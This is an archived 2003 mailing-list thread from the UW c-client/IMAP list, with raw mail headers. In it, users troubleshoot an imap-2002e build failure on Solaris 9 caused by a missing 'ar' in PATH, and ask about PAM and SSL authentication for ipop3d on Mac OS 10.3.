Izenas To: c-client@u.washington.edu Subject: Compile error(s) on Solaris 9 Mime-Version: 1.0 (Apple Message framework v606) Content-Type: multipart/alternative; boundary=Apple-Mail-3--523779786 X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Apple-Mail-3--523779786 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed Hi, I'm trying to compile imap-2002e on a Solaris 9 box. When I run 'make gso' the compile starts but exits with the following error(s): `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c `cat CCTYPE` -c `cat CFLAGS` mail.c `cat CCTYPE` -c `cat CFLAGS` misc.c `cat CCTYPE` -c `cat CFLAGS` newsrc.c `cat CCTYPE` -c `cat CFLAGS` smanager.c `cat CCTYPE` -c `cat CFLAGS` utf8.c `cat CCTYPE` -c `cat CFLAGS` siglocal.c `cat CCTYPE` -c `cat CFLAGS` dummy.c `cat CCTYPE` -c `cat CFLAGS` pseudo.c `cat CCTYPE` -c `cat CFLAGS` netmsg.c `cat CCTYPE` -c `cat CFLAGS` flstring.c `cat CCTYPE` -c `cat CFLAGS` fdstring.c `cat CCTYPE` -c `cat CFLAGS` rfc822.c `cat CCTYPE` -c `cat CFLAGS` nntp.c `cat CCTYPE` -c `cat CFLAGS` smtp.c `cat CCTYPE` -c `cat CFLAGS` imap4r1.c `cat CCTYPE` -c `cat CFLAGS` pop3.c `cat CCTYPE` -c `cat CFLAGS` unix.c `cat CCTYPE` -c `cat CFLAGS` mbox.c `cat CCTYPE` -c `cat CFLAGS` mbx.c `cat CCTYPE` -c `cat CFLAGS` mmdf.c `cat CCTYPE` -c `cat CFLAGS` tenex.c `cat CCTYPE` -c `cat CFLAGS` mtx.c `cat CCTYPE` -c `cat CFLAGS` news.c `cat CCTYPE` -c `cat CFLAGS` phile.c `cat CCTYPE` -c `cat CFLAGS` mh.c `cat CCTYPE` -c `cat CFLAGS` mx.c sh -c 'rm -rf c-client.a || true' ar rc c-client.a osdep.o mail.o misc.o newsrc.o smanager.o utf8.o siglocal.o dummy.o pseudo.o netmsg.o flstring.o fdstring.o rfc822.o nntp.o smtp.o imap4r1.o pop3.o unix.o mbox.o mbx.o mmdf.o tenex.o mtx.o news.o phile.o mh.o mx.o;true c-client.a ARCHIVE: ar: not found make[3]: Leaving directory `/hd2/SFW/src/imap-2002e/c-client' make[2]: Leaving directory `/hd2/SFW/src/imap-2002e/c-client' echo gso > OSTYPE touch rebuild sh -c 'rm -rf rebuild || true' Building bundled tools... cd mtest;make make[2]: Entering directory `/hd2/SFW/src/imap-2002e/mtest' cd ../c-client;make make[3]: Entering directory `/hd2/SFW/src/imap-2002e/c-client' make all `cat SPECIALS` make[4]: Entering directory `/hd2/SFW/src/imap-2002e/c-client' sh -c 'rm -rf c-client.a || true' ar rc c-client.a osdep.o mail.o misc.o newsrc.o smanager.o utf8.o siglocal.o dummy.o pseudo.o netmsg.o flstring.o fdstring.o rfc822.o nntp.o smtp.o imap4r1.o pop3.o unix.o mbox.o mbx.o mmdf.o tenex.o mtx.o news.o phile.o mh.o mx.o;true c-client.a ARCHIVE: ar: not found make[4]: Leaving directory `/hd2/SFW/src/imap-2002e/c-client' make[3]: Leaving directory `/hd2/SFW/src/imap-2002e/c-client' `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c -o mtest.o mtest.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o mtest mtest.o ../c-client/c-client.a `cat ../c-client/LDFLAGS` gcc: ../c-client/c-client.a: No such file or directory make[2]: *** [mtest] Error 1 make[2]: Leaving directory `/hd2/SFW/src/imap-2002e/mtest' make[1]: *** [bundled] Error 2 make[1]: Leaving directory `/hd2/SFW/src/imap-2002e' make: *** [gso] Error 2 Can anyone help me here? Any info is appreciated. Thanks much, Eric I. --Apple-Mail-3--523779786 Content-Transfer-Encoding: 7bit Content-Type: text/enriched; charset=US-ASCII Hi, I'm trying to compile imap-2002e on a Solaris 9 box. When I run 'make gso' the compile starts but exits with the following error(s): `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c `cat CCTYPE` -c `cat CFLAGS` mail.c `cat CCTYPE` -c `cat CFLAGS` misc.c `cat CCTYPE` -c `cat CFLAGS` newsrc.c `cat CCTYPE` -c `cat CFLAGS` smanager.c `cat CCTYPE` -c `cat CFLAGS` utf8.c `cat CCTYPE` -c `cat CFLAGS` siglocal.c `cat CCTYPE` -c `cat CFLAGS` dummy.c `cat CCTYPE` -c `cat CFLAGS` pseudo.c `cat CCTYPE` -c `cat CFLAGS` netmsg.c `cat CCTYPE` -c `cat CFLAGS` flstring.c `cat CCTYPE` -c `cat CFLAGS` fdstring.c `cat CCTYPE` -c `cat CFLAGS` rfc822.c `cat CCTYPE` -c `cat CFLAGS` nntp.c `cat CCTYPE` -c `cat CFLAGS` smtp.c `cat CCTYPE` -c `cat CFLAGS` imap4r1.c `cat CCTYPE` -c `cat CFLAGS` pop3.c `cat CCTYPE` -c `cat CFLAGS` unix.c `cat CCTYPE` -c `cat CFLAGS` mbox.c `cat CCTYPE` -c `cat CFLAGS` mbx.c `cat CCTYPE` -c `cat CFLAGS` mmdf.c `cat CCTYPE` -c `cat CFLAGS` tenex.c `cat CCTYPE` -c `cat CFLAGS` mtx.c `cat CCTYPE` -c `cat CFLAGS` news.c `cat CCTYPE` -c `cat CFLAGS` phile.c `cat CCTYPE` -c `cat CFLAGS` mh.c `cat CCTYPE` -c `cat CFLAGS` mx.c sh -c 'rm -rf c-client.a || true' ar rc c-client.a osdep.o mail.o misc.o newsrc.o smanager.o utf8.o siglocal.o dummy.o pseudo.o netmsg.o flstring.o fdstring.o rfc822.o nntp.o smtp.o imap4r1.o pop3.o unix.o mbox.o mbx.o mmdf.o tenex.o mtx.o news.o phile.o mh.o mx.o;true c-client.a ARCHIVE: ar: not found make[3]: Leaving directory `/hd2/SFW/src/imap-2002e/c-client' make[2]: Leaving directory `/hd2/SFW/src/imap-2002e/c-client' echo gso > OSTYPE touch rebuild sh -c 'rm -rf rebuild || true' Building bundled tools... cd mtest;make make[2]: Entering directory `/hd2/SFW/src/imap-2002e/mtest' cd ../c-client;make make[3]: Entering directory `/hd2/SFW/src/imap-2002e/c-client' make all `cat SPECIALS` make[4]: Entering directory `/hd2/SFW/src/imap-2002e/c-client' sh -c 'rm -rf c-client.a || true' ar rc c-client.a osdep.o mail.o misc.o newsrc.o smanager.o utf8.o siglocal.o dummy.o pseudo.o netmsg.o flstring.o fdstring.o rfc822.o nntp.o smtp.o imap4r1.o pop3.o unix.o mbox.o mbx.o mmdf.o tenex.o mtx.o news.o phile.o mh.o mx.o;true c-client.a ARCHIVE: ar: not found make[4]: Leaving directory `/hd2/SFW/src/imap-2002e/c-client' make[3]: Leaving directory `/hd2/SFW/src/imap-2002e/c-client' `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c -o mtest.o mtest.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o mtest mtest.o ../c-client/c-client.a `cat ../c-client/LDFLAGS` gcc: ../c-client/c-client.a: No such file or directory make[2]: *** [mtest] Error 1 make[2]: Leaving directory `/hd2/SFW/src/imap-2002e/mtest' make[1]: *** [bundled] Error 2 make[1]: Leaving directory `/hd2/SFW/src/imap-2002e' make: *** [gso] Error 2 Can anyone help me here? Any info is appreciated. Thanks much, Eric I. --Apple-Mail-3--523779786-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Nov 29 09:29:22 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 29 Nov 2003 09:29:22 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hATHTLNL007029 for ; Sat, 29 Nov 2003 09:29:21 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hATHTJWS032759 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 29 Nov 2003 09:29:20 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hATHRvFe015976; Sat, 29 Nov 2003 09:27:58 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hATHQuuL023318 for ; Sat, 29 Nov 2003 09:26:56 -0800 Received: from util.ext.ti.com (util.ext.ti.com [192.91.75.135]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hATHQreW021225 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Sat, 29 Nov 2003 09:26:54 -0800 Received: from dlep52.itg.ti.com ([157.170.134.103]) by util.ext.ti.com (8.12.10/8.12.10) with ESMTP id hATHQkCr018821; Sat, 29 Nov 2003 11:26:47 -0600 (CST) Received: from ffab.tide.ti.com (localhost [127.0.0.1]) by dlep52.itg.ti.com (8.12.10/8.12.10) with ESMTP id hATHQjAK025947; Sat, 29 Nov 2003 11:26:45 -0600 (CST) Received: from foxie (h78-5.vpn.ti.com [172.24.78.5]) by ffab.tide.ti.com (8.12.9/8.12.9) with SMTP id hATHQhvI004184; Sat, 29 Nov 2003 18:26:44 +0100 (MET) Message-Id: <001b01c3b69d$f5071a70$054e18ac@foxie> Date: Sat, 29 Nov 2003 18:26:42 +0100 Reply-To: "Martynas Buozis" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Martynas Buozis" To: "Eric Izenas" , Subject: Re: Compile error(s) on Solaris 9 References: <81C529FC-228D-11D8-9964-0030657964BE@lithtex.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0018_01C3B6A6.56791CB0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Uwash-Spam: Gauge=XIII, Probability=13%, Report='PRIORITY_NO_NAME 1.023, MAILTO_LINK 0.203, SUPERLONG_LINE 0.009, REFERENCES 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0018_01C3B6A6.56791CB0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ar is located in /usr/ccs/bin . Before make do : PATH=3D$PATH:/usr/ccs/bin; export PATH Martynas ----- Original Message -----=20 From: Eric Izenas=20 To: c-client@u.washington.edu=20 Sent: Saturday, November 29, 2003 6:00 PM Subject: Compile error(s) on Solaris 9 Hi, I'm trying to compile imap-2002e on a Solaris 9 box.=20 When I run 'make gso' the compile starts but exits with the following = error(s): `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c `cat CCTYPE` -c `cat CFLAGS` mail.c `cat CCTYPE` -c `cat CFLAGS` misc.c `cat CCTYPE` -c `cat CFLAGS` newsrc.c `cat CCTYPE` -c `cat CFLAGS` smanager.c `cat CCTYPE` -c `cat CFLAGS` utf8.c `cat CCTYPE` -c `cat CFLAGS` siglocal.c `cat CCTYPE` -c `cat CFLAGS` dummy.c `cat CCTYPE` -c `cat CFLAGS` pseudo.c `cat CCTYPE` -c `cat CFLAGS` netmsg.c `cat CCTYPE` -c `cat CFLAGS` flstring.c `cat CCTYPE` -c `cat CFLAGS` fdstring.c `cat CCTYPE` -c `cat CFLAGS` rfc822.c `cat CCTYPE` -c `cat CFLAGS` nntp.c `cat CCTYPE` -c `cat CFLAGS` smtp.c `cat CCTYPE` -c `cat CFLAGS` imap4r1.c `cat CCTYPE` -c `cat CFLAGS` pop3.c `cat CCTYPE` -c `cat CFLAGS` unix.c `cat CCTYPE` -c `cat CFLAGS` mbox.c `cat CCTYPE` -c `cat CFLAGS` mbx.c `cat CCTYPE` -c `cat CFLAGS` mmdf.c `cat CCTYPE` -c `cat CFLAGS` tenex.c `cat CCTYPE` -c `cat CFLAGS` mtx.c `cat CCTYPE` -c `cat CFLAGS` news.c `cat CCTYPE` -c `cat CFLAGS` phile.c `cat CCTYPE` -c `cat CFLAGS` mh.c `cat CCTYPE` -c `cat CFLAGS` mx.c sh -c 'rm -rf c-client.a || true' ar rc c-client.a osdep.o mail.o misc.o newsrc.o smanager.o utf8.o = siglocal.o dummy.o pseudo.o netmsg.o flstring.o fdstring.o rfc822.o = nntp.o smtp.o imap4r1.o pop3.o unix.o mbox.o mbx.o mmdf.o tenex.o mtx.o = news.o phile.o mh.o mx.o;true c-client.a ARCHIVE: ar: not found make[3]: Leaving directory `/hd2/SFW/src/imap-2002e/c-client' make[2]: Leaving directory `/hd2/SFW/src/imap-2002e/c-client' echo gso > OSTYPE touch rebuild sh -c 'rm -rf rebuild || true' Building bundled tools... cd mtest;make make[2]: Entering directory `/hd2/SFW/src/imap-2002e/mtest' cd ../c-client;make make[3]: Entering directory `/hd2/SFW/src/imap-2002e/c-client' make all `cat SPECIALS` make[4]: Entering directory `/hd2/SFW/src/imap-2002e/c-client' sh -c 'rm -rf c-client.a || true' ar rc c-client.a osdep.o mail.o misc.o newsrc.o smanager.o utf8.o = siglocal.o dummy.o pseudo.o netmsg.o flstring.o fdstring.o rfc822.o = nntp.o smtp.o imap4r1.o pop3.o unix.o mbox.o mbx.o mmdf.o tenex.o mtx.o = news.o phile.o mh.o mx.o;true c-client.a ARCHIVE: ar: not found make[4]: Leaving directory `/hd2/SFW/src/imap-2002e/c-client' make[3]: Leaving directory `/hd2/SFW/src/imap-2002e/c-client' `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c -o = mtest.o mtest.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o = mtest mtest.o ../c-client/c-client.a `cat ../c-client/LDFLAGS` gcc: ../c-client/c-client.a: No such file or directory make[2]: *** [mtest] Error 1 make[2]: Leaving directory `/hd2/SFW/src/imap-2002e/mtest' make[1]: *** [bundled] Error 2 make[1]: Leaving directory `/hd2/SFW/src/imap-2002e' make: *** [gso] Error 2 Can anyone help me here? Any info is appreciated. Thanks much, Eric I. ------=_NextPart_000_0018_01C3B6A6.56791CB0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    ar is located in /usr/ccs/bin . Before = make do=20 :
    PATH=3D$PATH:/usr/ccs/bin; export = PATH
     
     
    Martynas
    ----- Original Message -----
    From:=20 Eric = Izenas=20
    Sent: Saturday, November 29, = 2003 6:00=20 PM
    Subject: Compile error(s) on = Solaris=20 9


    Hi,

    I'm trying to compile imap-2002e on a = Solaris 9=20 box.

    When I run 'make gso' the compile starts but exits with = the=20 following error(s):

    `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` = -c=20 osdep.c
    `cat CCTYPE` -c `cat CFLAGS` mail.c
    `cat CCTYPE` -c `cat = CFLAGS`=20 misc.c
    `cat CCTYPE` -c `cat CFLAGS` newsrc.c
    `cat CCTYPE` -c = `cat=20 CFLAGS` smanager.c
    `cat CCTYPE` -c `cat CFLAGS` utf8.c
    `cat = CCTYPE` -c=20 `cat CFLAGS` siglocal.c
    `cat CCTYPE` -c `cat CFLAGS` = dummy.c
    `cat=20 CCTYPE` -c `cat CFLAGS` pseudo.c
    `cat CCTYPE` -c `cat CFLAGS`=20 netmsg.c
    `cat CCTYPE` -c `cat CFLAGS` flstring.c
    `cat CCTYPE` -c = `cat=20 CFLAGS` fdstring.c
    `cat CCTYPE` -c `cat CFLAGS` rfc822.c
    `cat = CCTYPE` -c=20 `cat CFLAGS` nntp.c
    `cat CCTYPE` -c `cat CFLAGS` smtp.c
    `cat = CCTYPE` -c=20 `cat CFLAGS` imap4r1.c
    `cat CCTYPE` -c `cat CFLAGS` pop3.c
    `cat = CCTYPE`=20 -c `cat CFLAGS` unix.c
    `cat CCTYPE` -c `cat CFLAGS` mbox.c
    `cat = CCTYPE`=20 -c `cat CFLAGS` mbx.c
    `cat CCTYPE` -c `cat CFLAGS` mmdf.c
    `cat = CCTYPE`=20 -c `cat CFLAGS` tenex.c
    `cat CCTYPE` -c `cat CFLAGS` mtx.c
    `cat = CCTYPE`=20 -c `cat CFLAGS` news.c
    `cat CCTYPE` -c `cat CFLAGS` phile.c
    `cat = CCTYPE`=20 -c `cat CFLAGS` mh.c
    `cat CCTYPE` -c `cat CFLAGS` mx.c
    sh -c 'rm = -rf=20 c-client.a || true'
    ar rc c-client.a osdep.o mail.o misc.o newsrc.o = smanager.o utf8.o siglocal.o dummy.o pseudo.o netmsg.o flstring.o = fdstring.o=20 rfc822.o nntp.o smtp.o imap4r1.o pop3.o unix.o mbox.o mbx.o mmdf.o = tenex.o=20 mtx.o news.o phile.o mh.o mx.o;true c-client.a
    ARCHIVE: ar: not=20 found
    make[3]: Leaving directory=20 `/hd2/SFW/src/imap-2002e/c-client'
    make[2]: Leaving directory=20 `/hd2/SFW/src/imap-2002e/c-client'
    echo gso > OSTYPE
    touch=20 rebuild
    sh -c 'rm -rf rebuild || true'
    Building bundled = tools...
    cd=20 mtest;make
    make[2]: Entering directory=20 `/hd2/SFW/src/imap-2002e/mtest'
    cd ../c-client;make
    make[3]: = Entering=20 directory `/hd2/SFW/src/imap-2002e/c-client'
    make all `cat=20 SPECIALS`
    make[4]: Entering directory=20 `/hd2/SFW/src/imap-2002e/c-client'
    sh -c 'rm -rf c-client.a || = true'
    ar=20 rc c-client.a osdep.o mail.o misc.o newsrc.o smanager.o utf8.o = siglocal.o=20 dummy.o pseudo.o netmsg.o flstring.o fdstring.o rfc822.o nntp.o smtp.o = imap4r1.o pop3.o unix.o mbox.o mbx.o mmdf.o tenex.o mtx.o news.o = phile.o mh.o=20 mx.o;true c-client.a
    ARCHIVE: ar: not found
    make[4]: = Leaving=20 directory `/hd2/SFW/src/imap-2002e/c-client'
    make[3]: Leaving = directory=20 `/hd2/SFW/src/imap-2002e/c-client'
    `cat ../c-client/CCTYPE` = -I../c-client=20 `cat ../c-client/CFLAGS` -c -o mtest.o mtest.c
    `cat = ../c-client/CCTYPE`=20 -I../c-client `cat ../c-client/CFLAGS` -o mtest mtest.o = ../c-client/c-client.a=20 `cat ../c-client/LDFLAGS`
    gcc: ../c-client/c-client.a: No such file = or=20 directory
    make[2]: *** [mtest] Error 1
    make[2]: Leaving = directory=20 `/hd2/SFW/src/imap-2002e/mtest'
    make[1]: *** [bundled] Error = 2
    make[1]:=20 Leaving directory `/hd2/SFW/src/imap-2002e'
    make: *** [gso] Error=20 2


    Can anyone help me here? Any info is=20 appreciated.

    Thanks much,

    Eric = I.
    ------=_NextPart_000_0018_01C3B6A6.56791CB0-- From pinedev@shivax2.cac.washington.edu Sat Nov 29 09:33:46 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 29 Nov 2003 09:33:46 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hATHXkNL007117 for ; Sat, 29 Nov 2003 09:33:46 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hATHXiWS000391 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 29 Nov 2003 09:33:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hATHWU1r014968; Sat, 29 Nov 2003 09:32:30 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hATHW8uL013502 for ; Sat, 29 Nov 2003 09:32:08 -0800 Received: from jimsun.LinxNet.com (jimsun.linxnet.com [64.32.196.134]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hATHW6XU012078 for ; Sat, 29 Nov 2003 09:32:07 -0800 Received: by jimsun.LinxNet.com (Postfix, from userid 332) id A144C4307; Sat, 29 Nov 2003 12:32:06 -0500 (EST) Message-Id: <20031129173206.A144C4307@jimsun.LinxNet.com> Date: Sat, 29 Nov 2003 12:32:06 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: jseymour@LinxNet.com (Jim Seymour) To: c-client@u.washington.edu Subject: Re: Compile error(s) on Solaris 9 In-Reply-To: <81C529FC-228D-11D8-9964-0030657964BE@lithtex.com> X-Sun-Charset: US-ASCII X-Uwash-Spam: Gauge=I, Probability=1%, Report='SIGNATURE_SHORT_DENSE -0.301, QUOTED_EMAIL_TEXT -0.832, IN_REP_TO -0.847, EMAIL_ATTRIBUTION -1.628' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Eric Izenas wrote: > > > Hi, > > I'm trying to compile imap-2002e on a Solaris 9 box. > > When I run 'make gso' the compile starts but exits with the following > error(s): [snip] > ARCHIVE: ar: not found [snip] > ARCHIVE: ar: not found [snip] > > > Can anyone help me here? Any info is appreciated. Maybe find out where "ar" lives and make sure said directory is in your $PATH? $ uname -a SunOS jimsun 5.7 Generic_106541-27 sun4u sparc SUNW,UltraSPARC-IIi-Engine $ whence ar /usr/ccs/bin/ar -- Jim Seymour | Spammers sue anti-spammers: jseymour@LinxNet.com | http://www.LinxNet.com/misc/spam/slapp.php http://jimsun.LinxNet.com | Please donate to the SpamCon Legal Fund: | http://www.spamcon.org/legalfund/ From pinedev@shivax2.cac.washington.edu Sun Nov 30 09:43:20 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 30 Nov 2003 09:43:20 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAUHhKNL014646 for ; Sun, 30 Nov 2003 09:43:20 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAUHhI58004968 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 30 Nov 2003 09:43:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hAUHfuAk015718; Sun, 30 Nov 2003 09:41:56 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAUHdsuL021792 for ; Sun, 30 Nov 2003 09:39:54 -0800 Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.198.39]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAUHdrZS019265 for ; Sun, 30 Nov 2003 09:39:53 -0800 Received: from [192.168.1.11] (c-65-34-209-141.se.client2.attbi.com[65.34.209.141]) by comcast.net (rwcrmhc13) with SMTP id <2003113017395301500pns0ne>; Sun, 30 Nov 2003 17:39:53 +0000 Message-Id: Date: Sun, 30 Nov 2003 12:39:52 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Randall Perry To: Subject: Imap-200e and pam auth on Mac os 10.3 Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_LONG_SPARSE -0.304' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Anyone had success using imap-2002e on OS 10.3? I use ipop3d for pop services on my OSXS 10.2.6 mail server. ipop3d authentication fails in OS 10.3, presumably because of PAM auth requirement. Tried compiling with pam: make osx PASSWDTYPE=pam SSLTYPE=none but got error saying secure/pam_appl.h file was missing. Searched OSXS 10.3 system for the file and found it at /usr/include/pam/pam_appl.h. Changed all refs in imap source to that path and it built ok. Am unsure how to configure it. I created /etc/pam.d/pop3 and /etc/pam.d/popd files, but it doesn't look like pam is being accessed as there are no errors in /var/log/secure.log. -- Randall Perry sysTame Xserve Web Hosting/Co-location Website Development/Promotion Mac Consulting/Sales http://www.systame.com/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Nov 30 15:48:59 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 30 Nov 2003 15:48:58 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAUNmwNL023154 for ; Sun, 30 Nov 2003 15:48:58 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAUNmv58013062 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 30 Nov 2003 15:48:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hAUNlxAk013684; Sun, 30 Nov 2003 15:48:00 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAUNiiuL028774 for ; Sun, 30 Nov 2003 15:44:44 -0800 Received: from sccrmhc12.comcast.net (sccrmhc12.comcast.net [204.127.202.56]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAUNihXU010349 for ; Sun, 30 Nov 2003 15:44:43 -0800 Received: from [192.168.1.11] (c-65-34-209-141.se.client2.attbi.com[65.34.209.141]) by comcast.net (sccrmhc12) with SMTP id <20031130234442012009unble>; Sun, 30 Nov 2003 23:44:42 +0000 Message-Id: Date: Sun, 30 Nov 2003 18:44:41 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Randall Perry To: Subject: Secure ipop3d on Mac OS 10.3 Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_LONG_SPARSE -0.304' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Succesfully compiled imap-2000e with pam and with ssl (created and installed imapd.pem ok). With just pam, auth works fine. With ssl I get failed logins on email clients. I'm unsure of how to configure entourage for secure pop but tried all the options. I got useful feedback from only one: checking 'Always use secure password.' With that I get the error: "The server returned the following error Supported authentication mechanisms: Check the username/password or security settings." I'd appreciate any info on how to debug this. -- Randall Perry sysTame Xserve Web Hosting/Co-location Website Development/Promotion Mac Consulting/Sales http://www.systame.com/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 1 13:01:53 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 1 Dec 2003 13:01:53 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB1L1rNL002331 for ; Mon, 1 Dec 2003 13:01:53 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB1L1pWS011798 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 1 Dec 2003 13:01:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hB1L0c1r012494; Mon, 1 Dec 2003 13:00:38 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB1KwruL027176 for ; Mon, 1 Dec 2003 12:58:53 -0800 Received: from sccrmhc12.comcast.net (sccrmhc12.comcast.net [204.127.202.56]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB1KwqKL004569 for ; Mon, 1 Dec 2003 12:58:53 -0800 Received: from [192.168.1.11] (c-65-34-209-141.se.client2.attbi.com[65.34.209.141]) by comcast.net (sccrmhc12) with SMTP id <2003120120585201200rjjfje>; Mon, 1 Dec 2003 20:58:52 